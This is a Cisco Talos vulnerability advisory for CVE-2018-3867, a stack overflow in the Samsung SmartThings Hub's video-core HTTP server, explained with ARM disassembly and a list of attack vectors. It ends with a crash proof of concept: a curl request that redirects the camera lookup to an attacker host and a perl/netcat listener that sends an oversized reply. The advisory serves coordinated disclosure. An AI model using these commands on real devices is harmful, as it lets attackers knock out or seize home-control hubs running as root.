CVE-2018-3867: TALOS-2018-0549 || Cisco Talos Intelligence Group

Summary

An exploitable stack-based buffer overflow vulnerability exists in the samsungWifiScan callback notification of video-core’s HTTP server of Samsung SmartThings Hub. The video-core process incorrectly handles the answer received from a smart camera, leading to a buffer overflow on the stack. An attacker can send a series of HTTP requests to trigger this vulnerability.

Tested Versions

Samsung SmartThings Hub STH-ETH-250 - Firmware version 0.20.17

Product URLs

https://shop.smartthings.com/products/samsung-smartthings-hub

CVSSv3 Score

9.9 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-120: Buffer Copy without Checking Size of Input (‘Classic Buffer Overflow’)

Details

Samsung produces a series of devices aimed at controlling and monitoring a home, such as wall switches, LED bulbs, thermostats and cameras. One of those is the Samsung SmartThings Hub, a central controller which allows an end user to use their smartphone to connect to their house remotely and operate other devices through it. The hub board utilizes several systems on chips. The firmware in question is executed by an i.MX 6 SoloLite processor (Cortex-A9), which has an ARMv7-A architecture.

The firmware is Linux-based, and runs a series of daemons that interface with devices nearby via ethernet, ZigBee, Z-Wave and Bluetooth protocols. Additionally, the hubCore process is responsible for communicating with the remote SmartThings servers via a persistent TLS connection. These servers act as a bridge that allows for secure communication between the smartphone application and the hub. End users can simply install the SmartThings mobile application on their smartphone to control the hub remotely.

One of the features of the hub is that it connects to smart cameras, configures them and looks at their livestreams. For testing, we set up the Samsung SmartCam SNH-V6414BN on the hub. Once done, the livestream can be displayed by the smartphone application by connecting either to the remote SmartThings servers, or directly to the camera, if they’re both in the same subnetwork.

Inside the hub, the livestream is handled by the video-core process, which uses ffmpeg to connect via RTSP to the smart camera in its same local network, and at the same time, provides a streamable link for the smartphone application.

The remote SmartThings servers have the possibility to communicate with the video-core process by sending messages in the persistent TLS connection, established by the hubCore process. These messages can encapsulate an HTTP request, which hubCore would relay directly to the HTTP server exposed by video-core. The HTTP server listens on port 3000, bound to the localhost address, so a local connection is needed to perform this request.

We identified a vulnerable request that can be exploited to achieve code execution on the video-core process, which is running as root. By requesting the path “/samsungWifiScan” it’s possible to instruct the video-core process to discover a Samsung smart camera and notify the operation using a callback. As an example, consider this request:

$ curl -X POST 'http://127.0.0.1:3000/samsungWifiScan' -d '{"cameraIp":"<camera-ip>","user":"x","password":"x","callbackUrl":"http://<callback-ip>:<callback-port>/<path>"}'

Once received, video-core will send the following HTTP request to “camera-ip”:

[1]
- video-core
GET /stw-cgi-rest/network/wifi/scan HTTP/1.1
Host: <camera-ip>:80
Accept: */*

- smart camera
<camera-http-response>

When the smart camera replies, video-core relays “camera-http-response” to the callback:

[2]
POST <path> HTTP/1.1
Host: <callback-ip>:<callback-port>
Accept: */*
Content-Type: application/json
X-ST-Application: Video-Core
X-ST-Version: 1.5.3
X-ST-Method: CALLBACK
X-ST-Class: WifiSurvey
Content-Location: /dev/
Content-Length: 72

{"stClass":"WifiSurvey", "WlanSurveyError":"<camera-http-response>"}

The request at [1] is generated by sub_45BEC:

.text:00045BEC     sub_45BEC
...
.text:00045D00 438        MOV             R1, #:lower16:aHttpSStwCgiRes    ; "http://%s/stw-cgi-rest/network/wifi/sca"...
.text:00045D04 438        ADD             R2, SP, #0x438+cameraIp
.text:00045D08 438        MOVT            R1, #:upper16:aHttpSStwCgiRes    ; "http://%s/stw-cgi-rest/network/wifi/sca"...
.text:00045D0C 438        ADD             R0, SP, #0x438+camera_url
.text:00045D10 438        BL              sprintf
.text:00045D14 438        ADD             R2, SP, #0x438+camera_url
.text:00045D18 438        MOV             R1, #0x2712
.text:00045D1C 438        MOV             R0, R4
.text:00045D20 438        BL              curl_easy_setopt
.text:00045D24 438        MOV             R1, #0x6B
.text:00045D28 438        MOV             R2, #2
.text:00045D2C 438        MOV             R0, R4
.text:00045D30 438        BL              curl_easy_setopt
.text:00045D34 438        MOV             R1, #0x27BD
.text:00045D38 438        ADD             R2, SP, #0x438+username
.text:00045D3C 438        MOV             R0, R4
.text:00045D40 438        BL              curl_easy_setopt
.text:00045D44 438        ADD             R2, SP, #0x438+password
.text:00045D48 438        MOV             R1, #0x27BE
.text:00045D4C 438        MOV             R0, R4
.text:00045D50 438        BL              curl_easy_setopt
.text:00045D54 438        MOV             R2, #:lower16:sub_458C8
.text:00045D58 438        MOV             R1, #0x4E2B
.text:00045D5C 438        MOVT            R2, #:upper16:sub_458C8
.text:00045D60 438        MOV             R0, R4
.text:00045D64 438        BL              curl_easy_setopt
.text:00045D68 438        ADD             R2, SP, #0x438+curl_data_buffer
.text:00045D6C 438        MOV             R1, #0x2711
.text:00045D70 438        MOV             R0, R4
.text:00045D74 438        BL              curl_easy_setopt                 ; [3]
.text:00045D78 438        MOV             R1, #0xD
.text:00045D7C 438        MOV             R2, #0x19
.text:00045D80 438        MOV             R0, R4
.text:00045D84 438        BL              curl_easy_setopt
.text:00045D88 438        MOV             R0, R4
.text:00045D8C 438        BL              curl_easy_perform                ; [4]
.text:00045D90 438        SUBS            R7, R0, #0
.text:00045D94 438        LDR             R3, [R5]
.text:00045D98 438        BEQ             loc_45EF8                        ; jump is taken
...
.text:00045EF8     loc_45EF8
.text:00045EF8 438        CMP             R3, #2
.text:00045EFC 438        BHI             loc_45FEC                        ; jump is taken
...
.text:00045F00     loc_45F00
.text:00045F00 438        ADD             R0, SP, #0x438+callbackUrl
.text:00045F04 438        LDR             R1, [SP,#0x438+curl_data_buffer] ; [5]
.text:00045F08 438        MOV             R2, #1
.text:00045F0C 438        BL              sub_45AA8                        ; [5]
...
.text:00045FEC     loc_45FEC
...
.text:00046028 438        BL              log
.text:0004602C 438        B               loc_45F00

We can see that libcurl is used to send an HTTP request to the chosen “camera-ip”. A buffer for storing the smart camera’s answer is specified at [3]. After calling curl_easy_perform [4], the response is passed as second argument to sub_45AA8 [5].

.text:00045AA8     sub_45AA8
.text:00045AA8
.text:00045AA8     var_910         = -0x910
.text:00045AA8     var_90C         = -0x90C
.text:00045AA8     var_904         = -0x904
.text:00045AA8     s               = -0x724
.text:00045AA8     var_718         = -0x718
.text:00045AA8     var_714         = -0x714
.text:00045AA8     var_710         = -0x710
.text:00045AA8     var_708         = -0x708
.text:00045AA8     var_6F4         = -0x6F4
.text:00045AA8     sprintf_dest    = -0x6E0
.text:00045AA8
.text:00045AA8 000        STMFD           SP!, {R4-R7,LR}
.text:00045AAC 014        SUB             SP, SP, #0x8F0
.text:00045AB0 904        SUB             SP, SP, #0xC
.text:00045AB4 910        MOV             R6, R1                        ; [8]
.text:00045AB8 910        MOV             R4, R2
.text:00045ABC 910        MOV             R5, R0
.text:00045AC0 910        MOV             R1, #0
.text:00045AC4 910        MOV             R2, #0x70C
.text:00045AC8 910        ADD             R0, SP, #0x910+s
.text:00045ACC 910        MOV             R7, #8
.text:00045AD0 910        BL              memset
.text:00045AD4 910        MOV             R3, #:lower16:aCallback       ; "CALLBACK"
.text:00045AD8 910        MOV             R12, #:lower16:aWifisurvey    ; "WifiSurvey"
.text:00045ADC 910        MOVT            R3, #:upper16:aCallback       ; "CALLBACK"
.text:00045AE0 910        MOVT            R12, #:upper16:aWifisurvey    ; "WifiSurvey"
.text:00045AE4 910        LDMIA           R3, {R0-R2}                   ; "CALLBACK"
.text:00045AE8 910        ADD             LR, SP, #0x910+var_6F4
.text:00045AEC 910        ADD             R3, SP, #0x910+var_708
.text:00045AF0 910        CMP             R4, #0
.text:00045AF4 910        MOV             R4, #0xA
.text:00045AF8 910        STR             R7, [SP,#0x910+var_714]
.text:00045AFC 910        STR             R4, [SP,#0x910+var_718]
.text:00045B00 910        ADD             R4, SP, #0x910+sprintf_dest   ; [9]
.text:00045B04 910        STMIA           LR!, {R0,R1}
.text:00045B08 910        STRB            R2, [LR]
.text:00045B0C 910        LDMIA           R12, {R0-R2}                  ; "WifiSurvey"
.text:00045B10 910        STMIA           R3!, {R0,R1}
.text:00045B14 910        MOVEQ           R0, R4                        ; [9]
.text:00045B18 910        MOV             R1, R2,LSR#16
.text:00045B1C 910        STRH            R2, [R3],#2
.text:00045B20 910        MOVNE           R0, R4                        ; [9]
.text:00045B24 910        STRB            R1, [R3]
.text:00045B28 910        MOVEQ           R1, #0x3AF0
.text:00045B2C 910        MOVNE           R1, #:lower16:aStclassWifis_0 ; "{\"stClass\":\"WifiSurvey\", \"WlanSurv"...
.text:00045B30 910        MOVTEQ          R1, #:upper16:aStclassWifis_0 ; "{\"stClass\":\"WifiSurvey\", \"WlanSurv"...
.text:00045B34 910        MOVTNE          R1, #0xC
.text:00045B38 910        MOVEQ           R2, R6                        ; [8]
.text:00045B3C 910        MOVNE           R2, R6                        ; [8]
.text:00045B40 910        BL              sprintf                       ; [7]
.text:00045B44 910        MOV             R0, R4
.text:00045B48 910        BL              strlen
.text:00045B4C 910        ADD             R1, SP, #0x910+s
.text:00045B50 910        STR             R0, [SP,#0x910+var_710]
.text:00045B54 910        MOV             R0, R5
.text:00045B58 910        BL              notify_via_callback_url       ; [6]

This function is generating the POST request at [2], which is eventually dispatched at [6]. The POST data is created by calling sprintf [7] and passing the unconstrained smart camera’s response [8]. Since the destination buffer is on the stack [9], this can be exploited to execute arbitrary code.

We identified two different vectors that allow for exploiting this vulnerability:

• Anyone able to impersonate the remote SmartThings servers can send arbitrary HTTP requests to hubCore that would be relayed without modification to the vulnerable video-core process.
• SmartThings SmartApps allow for creating custom applications that can be either published directly into the device itself or on the public marketplace. A SmartApp is executed inside the hubCore process and is allowed to make any localhost connection. It is thus possible for a SmartApp to send arbitrary HTTP requests directly to the vulnerable video-core process.

A third vector might exist, which we didn’t test. This would consist of sending a malicious request from the SmartThings mobile application to the remote SmartThings servers. In turn, depending on the remote APIs available, the servers could relay the malicious payload back to the device via the persistent TLS connection. To use this vector, an attacker would need to own a valid OAuth bearer token, or the relative username and password pair to obtain it.

Moreover, note that this vulnerability could also be exploited without prior authentication when an attacker has the possibility to wait for a camera discovery to happen, or when able to trigger a discovery through other means.

Exploit Proof of Concept

The following proof of concept shows how to crash the video-core process:

# using curl from inside the hub, but the same request could be sent using a SmartApp
$ curl -X POST 'http://127.0.0.1:3000/samsungWifiScan' -d "{\"cameraIp\":\"${sAttackerIP}:${sAttackerPort}\"}"

# on the attacker machine
$ perl -e 'print "A"x0x700' | nc -l -p ${sAttackerPort}

Once the netcat connection is closed, video-core should crash.

Timeline

2018-03-28 - Vendor Disclosure
2018-05-23 - Discussion with vendor/review of timeline for disclosure
2018-07-17 - Vendor patched
2018-07-26 - Public Release

Discovered by Claudio Bozzato of Cisco Talos.